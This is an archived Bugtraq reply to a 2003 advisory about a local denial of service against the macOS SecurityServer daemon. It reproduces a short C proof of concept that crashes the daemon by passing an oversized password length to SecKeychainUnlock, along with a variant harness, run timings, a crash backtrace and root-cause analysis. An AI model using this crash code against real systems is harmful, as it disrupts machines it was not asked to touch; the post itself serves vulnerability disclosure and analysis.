|
Bugtraq
mailing list archives
Re: Local Denial Of Service Attack Against Apple MacOS X, MacOS X Server, and Darwin.
From: "William A. Carrel" <william.a () carrel org>
Date: Tue, 30 Dec 2003 19:37:58 -0800
In article <BC175C14.1C6E%marukka () mac com>,
Matt Burnett <marukka () mac com> wrote:
Advisory Name
Local Denial Of Service Attack Against The SecurityServer Daemon In MacOS X,
MacOS X Server, And Darwin.
Proof Of Concept Code
To build this code run ³gcc <file name> -framework Security o
CrashSecurityServer²
#include <Security/Security.h>
int main(int argc, const char *argv[])
{
SecKeychainRef defaultKeychain;
SecKeychainCopyDefault(&defaultKeychain);
SecKeychainLock(defaultKeychain);
SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, "password", true);
return 0;
}
I've done some cursory testing on a G5 with code that generates a fake
length password.... This winds up in the middle of the above code...
/* Build the password string */
n = atoi(argv[1]); /* sure... I trust argv... */
s = (char *)malloc(n+1);
for (i=0; i < n; i++)
s[i] = 'A' + (i % 26);
s[n] = '\0';
i = SecKeychainUnlock(defaultKeychain, n+atoi(argv[2]), s, true);
printf("Returned %i\n",i);
So argv[1] is the length of the bogus password to generate and argv[2]
is the amount of extra passwordLength to pad on. Some sample runs
showed the following output and times:
(8 byte password, 60k extra length)
Returned -25293
./OflowSecurityServer 8 60000 0.02s user 0.02s system 1% cpu 2.105 total
(8 byte password, 600k extra length)
Returned -25293
./OflowSecurityServer 8 600000 0.03s user 0.01s system 0% cpu 19.212
total
The scaling seems to be close to linear based on the length of the
string. But then something interesting happens:
Returned -2147414015
./OflowSecurityServer 8 6000000 0.02s user 0.01s system 63% cpu 0.047
total
Returned -2147414015
./OflowSecurityServer 8 6000000 0.01s user 0.03s system 0% cpu 5.197
total
Returned -2147414015
./OflowSecurityServer 8 4294967287 0.02s user 0.01s system 72% cpu
0.041 total
That's MININT + 69633. No idea what the significance there is. And
equivilant CPU time is spent with the SecurityServer process doing
something if a wait is indicated by a large wall clock time in those
examples.
On this G5 anyway, I'm unable to replicate the SecurityServer crash.
Results from a G4 scale similarly at first, but do crash the
SecurityServer for 0xffffffff passwordLength.
The corefile gives the following callpath: (thanks John)
Thread 0 Crashed:
0 <<00000000>> 0xffff8cf4 __memcpy + 0x554
1 com.apple.security 0x920fa534 sha1AddData + 0xa0
2 com.apple.security 0x92102a68 hmacInit + 0x6c
3 com.apple.security 0x9210294c hmacsha1 + 0x54
4 com.apple.security 0x9210286c F + 0x8c
5 com.apple.security 0x92102768 pbkdf2 + 0x84
6 com.apple.security 0x921026c0
AppleCSPSession::DeriveKey_PBKDF2(Security::Context const&,
Security::CssmData const&, cssm_data*) + 0x174
7 com.apple.security 0x9210249c AppleCSPSession::DeriveKey(unsigned
long long, Security::Context const&, Security::CssmData&, unsigned long,
unsigned long, Security::CssmData const*, cssm_resource_control_context
const*, Security::CssmKey&) + 0x1bc
8 com.apple.security 0x92102228 cssm_DeriveKey(unsigned long,
unsigned long long, cssm_context const*, cssm_data*, unsigned long,
unsigned long, cssm_data const*, cssm_resource_control_context const*,
cssm_key*) + 0x304
9 com.apple.security 0x92101dec CSSM_DeriveKey + 0xa8
10 com.apple.security 0x921014f8
Security::CssmClient::DeriveKey::operator()(Security::CssmData*,
Security::CssmClient::KeySpec const&) + 0x234
We can see from here that part of the problem is in the following file:
http://cvs.opendarwin.org/index.cgi/src/Security/AppleCSP/MiscCSPAlgs/SHA
1.c?rev=1.1.1.2&content-type=text/x-cvsweb-markup in sha1AddData()
Cursory examination tends to indicate that the ridiculously large
passwordLength is simply being passed on through these calls without any
vetting of whether it is a reasonable value. And with an insane
count/blocks value in sha1AddData's call to shsUpdate(), the memcpy that
shsUpdate does can quite easily stomp off into oblivion causing a
segmentation fault.
Hopefully someone can build on the information given here. I think
sufficient source may be available for a homebrew fix, but I have to
attend to other matters at this particular moment.
Vendor Response
Apple Developer Connection told me that Apple does not give release dates
for patches.
11-20-03 Vendor is notified of flaw and is supplied with
proof of concept code.
12-29-03 Asked vendor for status update. Apple Product
Security referred me to Apple Developer Connection.
Apple Developer Connection informed me that Apple
does not give release dates for patches.
12-30-03 Advisory and proof of concept code
released.
Yeah, Apple doesn't seem very interested in maintaining any sort of
status contact with people submitting security reports to them right
now. Hopefully this will change in the future.
--
William A. Carrel
By Date
By Thread
Current thread:
- Re: Local Denial Of Service Attack Against Apple MacOS X, MacOS X Server, and Darwin. William A. Carrel (Dec 31)
|